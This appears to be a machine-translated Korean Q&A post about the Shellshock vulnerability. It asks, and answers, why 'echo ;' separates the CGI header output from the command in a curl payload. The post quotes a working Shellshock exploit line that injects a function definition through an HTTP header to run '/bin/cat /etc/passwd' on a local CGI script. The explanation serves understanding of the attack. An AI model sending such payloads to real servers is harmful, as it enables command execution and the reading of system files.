이 포병 공격의 세미콜론 포인트

이 포병 공격의 세미콜론 포인트

Shellshock 공격을 검토 중인데 다음 코드를 이해하지 못합니다.

curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

echo ;내가 이해하지 못하는 부분은 원격 시스템에서 실행되는 실제 명령에서 /etc/passwd의 Content-Type과 /bin/cat을 에코하는 것 사이의 기능입니다.

여기서 역할은 무엇입니까 echo ;?

감사해요.

답변1

이것이 HTTP가 구축되는 방식입니다. HTTP 헤더 뒤에는 빈 줄이 있어야 합니다. 이것은 외로움의 결과입니다 echo.

다음 두 가지를 비교하십시오.

echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

그리고:

echo Content-Type: text/html; /bin/cat /etc/passwd

지금쯤이면 분명해질 것입니다 echo ;. (물론 세미콜론은 명령을 구분합니다.)

관련 정보